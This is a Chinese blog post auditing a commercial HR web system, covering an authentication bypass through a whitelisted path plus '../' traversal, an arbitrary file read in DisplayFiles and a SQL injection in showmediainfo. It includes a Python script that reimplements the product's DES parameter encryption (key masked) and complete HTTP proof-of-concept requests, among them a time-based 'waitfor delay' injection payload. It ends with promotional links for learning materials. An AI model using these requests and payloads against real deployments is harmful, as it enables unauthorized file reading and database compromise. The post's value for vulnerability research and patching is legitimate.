记某景的一次代码审计

过滤器查找+漏洞审计+加解密算法破解

0x00 前言

我只能说,某景漏洞多的一。。。。。。
今天,就捡两个公开过的漏洞进行下审计吧

0x01 过滤器查找

有经验的师傅都知道,此系统很多接口是做了鉴权的,并不能未授权访问。但是,有的接口加白了,可以通过加白接口进行路径穿越绕过鉴权。
废话不多说,开始正题。一般过滤器都会在web.xml里找到对应的接口与类名,搜索单词filter,定位到HireKeywordFilter类

图片.png
查看代码,var3.doFilter(var1, var2);这行代码是调用FilterChain对象的doFilter方法,将ServletRequest对象和ServletResponse对象传递给下一个过滤器或Servlet进行处理。在Servlet过滤器中,通过调用FilterChaindoFilter方法,可以将请求传递给过滤器链中的下一个过滤器,或者如果没有下一个过滤器了,则传递给Servlet进行处理。

图片.png
图片.png
在这个例子中,若var6也就是uri是以/w_selfservice/oauthservlet开头的,即执行var3.doFilter(var1, var2);。那么当我访问其他接口。则使用/w_selfservice/oauthservlet…/…/即可绕过鉴权

0x02 漏洞审计

在此,以最近爆出的DisplayFiles文件读取和showmediainfo注入为例开始审计。

DisplayFiles文件读取

web.xml搜索DisplayFiles,定位到代码:

图片.png

图片.png
可见从前端接受参数filepath,赋值给var3变量,var3经过SafeCode.decode方法,PubFunc.decrypt方法后,得到明文,根据方法名就可以初步猜测是解码和解密操作。后续就很简单了,var3传入File类,赋值给var4,开始获取文件的字节流并输出到响应里面

showmediainfo注入

web.xml搜索showmediainfo,定位到代码:

图片.png

图片.png

图片.png
前端接受usernumber、i9999、kind三个参数,分别赋值给var3、var4、var5三个变量。而后续逻辑明显可以看到sql语句的拼接,也就是注入点。发现var3和var4可注入,而var5是作为if的判断值。var3参数也经过 PubFunc.decrypt的解密。因此这个接口的注入,var4是比较简单的,var3需要经过解密操作。

0x03 加解密破解

由上方的漏洞审计可知,两个漏洞参数都需要进行解密操作,意味着前端传入的参数值是一个密文。跟进解密方法查看代码。刚好看到加密方法也在上方。

public static String encrypt(String var0) {  
    if (null \== var0) {  
        return "";  
    } else {  
        String var1 = SafeCode.encrypt(var0);  
        var1 = var1.replaceAll("%", "@2HJ5@");  
        var1 = var1.replaceAll("\\\\+", "@2HJB@");  
        var1 = var1.replaceAll(" ", "@2HJ0@");  
        var1 = var1.replaceAll("\\\\/", "@2HJF@");  
        var1 = var1.replaceAll("\\\\?", "@3HJF@");  
        var1 = var1.replaceAll("#", "@2HJ3@");  
        var1 = var1.replaceAll("&", "@2HJ6@");  
        var1 = var1.replaceAll("=", "@3HJD@");  
        var1 = var1.replaceAll("\\r\\n", "").replaceAll("\\n", "").replaceAll("\\r", "");  
        var1 = var1.replaceAll("@", "PAATTP");  
        return var1;  
    }  
}  

public static String decrypt(String var0) {  
    if (null \== var0) {  
        return "";  
    } else {  
        var0 = var0.replaceAll("PAATTP", "@");  
        var0 = var0.replaceAll("@2HJ5@", "%");  
        var0 = var0.replaceAll("@2HJB@", "\\\\+");  
        var0 = var0.replaceAll("@2HJ0@", " ");  
        var0 = var0.replaceAll("@2HJF@", "\\\\/");  
        var0 = var0.replaceAll("@3HJF@", "\\\\?");  
        var0 = var0.replaceAll("@2HJ3@", "#");  
        var0 = var0.replaceAll("@2HJ6@", "&");  
        var0 = var0.replaceAll("@3HJD@", "=");  
        String var1 = SafeCode.decrypt(var0);  
        return var1;  
    }  
}

先看加密方法,首先var0参数传入到SafeCode.encrypt方法进行加密,跟进此方法,可以看到使用的是des加解密函数,为对称加密算法,意味着只要有加密密钥,即可正向加密,也可逆向解密。而加密密钥即为下图马赛克的值(这属于厂商敏感信息,不明文展示了):

图片.png

搞懂了加解密算法实际为des加解密,然后再回到PubFunc.encrypt方法,可知进行了des加密后,又要把密文的%,+,/等字符(具体看上方代码)进行一个替换,得到最终的密文。而同样的,查看PubFunc.decrypt方法代码,可得是加密的逆向操作,先对密文进行字符串替换,得到des的密文,再进行des解密。使用此逻辑写python加解密脚本,如下:

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad, unpad
from base64 import b64encode, b64decode

def encrypt(key, data):
    key = key.encode('utf-8')
    data = data.encode('utf-8')
    iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'  # 初始化向量
    cipher = DES.new(key, DES.MODE_CBC, iv)
    ct_bytes = cipher.encrypt(pad(data, DES.block_size))
    var1=b64encode(ct_bytes).decode('utf-8')
    var1 = var1.replace("%", "@2HJ5@");
    var1 = var1.replace("+", "@2HJB@");
    var1 = var1.replace(" ", "@2HJ0@");
    var1 = var1.replace("/", "@2HJF@");
    var1 = var1.replace("?", "@3HJF@");
    var1 = var1.replace("#", "@2HJ3@");
    var1 = var1.replace("&", "@2HJ6@");
    var1 = var1.replace("=", "@3HJD@");
    var1 = var1.replace("\r\n", "").replace("\n", "").replace("\r", "");
    var1 = var1.replace("@", "PAATTP");
    return var1

def decrypt(key, encrypted_data):
    key = key.encode('utf-8')
    encrypted_data = encrypted_data.replace("PAATTP", "@");
    encrypted_data = encrypted_data.replace("@2HJ5@", "%");
    encrypted_data = encrypted_data.replace("@2HJB@", "+");
    encrypted_data = encrypted_data.replace("@2HJ0@", " ");
    encrypted_data = encrypted_data.replace("@2HJF@", "/");
    encrypted_data = encrypted_data.replace("@3HJF@", "?");
    encrypted_data = encrypted_data.replace("@2HJ3@", "#");
    encrypted_data = encrypted_data.replace("@2HJ6@", "&");
    encrypted_data = encrypted_data.replace("@3HJD@", "=");
    encrypted_data = b64decode(encrypted_data)
    iv = b'\x01\x02\x03\x04\x05\x06\x07\x08'  # 初始化向量
    cipher = DES.new(key, DES.MODE_CBC, iv)
    pt_bytes = unpad(cipher.decrypt(encrypted_data), DES.block_size)
    return pt_bytes.decode('utf-8')

if __name__ == "__main__":
    key = "xxxxx"
    data = "1' if db_name(1)='master' waitfor delay '0:0:6'--+"

    encrypted_data = encrypt(key, data)
    print("Encrypted:", encrypted_data)
    encrypted_data='0JALorlQogBNgRuaXkp7QCus5DXQ1K1RU60C2QunGQUgKkcXUh9HXukA75IwTpCaGcqFlluMQLvPAATTP2HJFPAATTPgvSl8mZXxPAATTP2HJFPAATTPe2LWnL7Rg2Ceg0zzONMioPAATTP3HJDPAATTP'
    decrypted_data = decrypt(key, encrypted_data)
    print("Decrypted:", decrypted_data)

运行示意图:

图片.png

0x04 最终poc

DisplayFiles文件读取

读取c:/windows/win.ini,先加密路径:

图片.png
发送poc:

POST /templates/attestation/../../servlet/DisplayFiles HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

filepath=Iy4ZOyMhERdhPLlFrJHBaRdJo53c25S1

图片.png

showmediainfo注入

先是简单的i9999参数注入,不走if (var5.equalsIgnoreCase(“0”)),即令kind=1,为字符型注入。payload:’ waitfor delay ‘0:0:6’–+
poc:

POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

kind=1&usernumber=&i9999=12' waitfor delay '0:0:6'--+

图片.png
然后是usernumber注入,需要进入if (var5.equalsIgnoreCase(“0”)),即令kind=0,还需要加密payload:

图片.png
poc:

POST /templates/attestation/../../workbench/duty/showmediainfo HTTP/1.1
Host: 127.0.0.1:8080
User-Agent:Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

kind=0&usernumber=i8hoHAILh4YkvJtIAayRbk4pSpIEAvWmx22WPMFig6wPAATTP3HJDPAATTP&i9999=

在这里插入图片描述
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

相关推荐

  1. jar冲突问题

    2024-07-18 02:04:01       59 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-18 02:04:01       70 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-18 02:04:01       74 阅读
  3. 在Django里面运行非项目文件

    2024-07-18 02:04:01       62 阅读
  4. Python语言-面向对象

    2024-07-18 02:04:01       72 阅读

热门阅读

  1. qt设置窗口位置设置

    2024-07-18 02:04:01       22 阅读
  2. bs4取值技巧的详细介绍

    2024-07-18 02:04:01       23 阅读
  3. Llama - Prompting

    2024-07-18 02:04:01       22 阅读
  4. 【SASS/SCSS(二)】模块化语法

    2024-07-18 02:04:01       27 阅读
  5. HTML5应用的安全防护策略与实践

    2024-07-18 02:04:01       22 阅读
  6. 23种设计模式

    2024-07-18 02:04:01       20 阅读
  7. tomcat如何进行调优?

    2024-07-18 02:04:01       17 阅读
  8. C#调用非托管dll的两种方式

    2024-07-18 02:04:01       22 阅读
  9. WEB渗透之相关概念(笔记)

    2024-07-18 02:04:01       24 阅读
  10. idea 运行异常 gradle 项目

    2024-07-18 02:04:01       22 阅读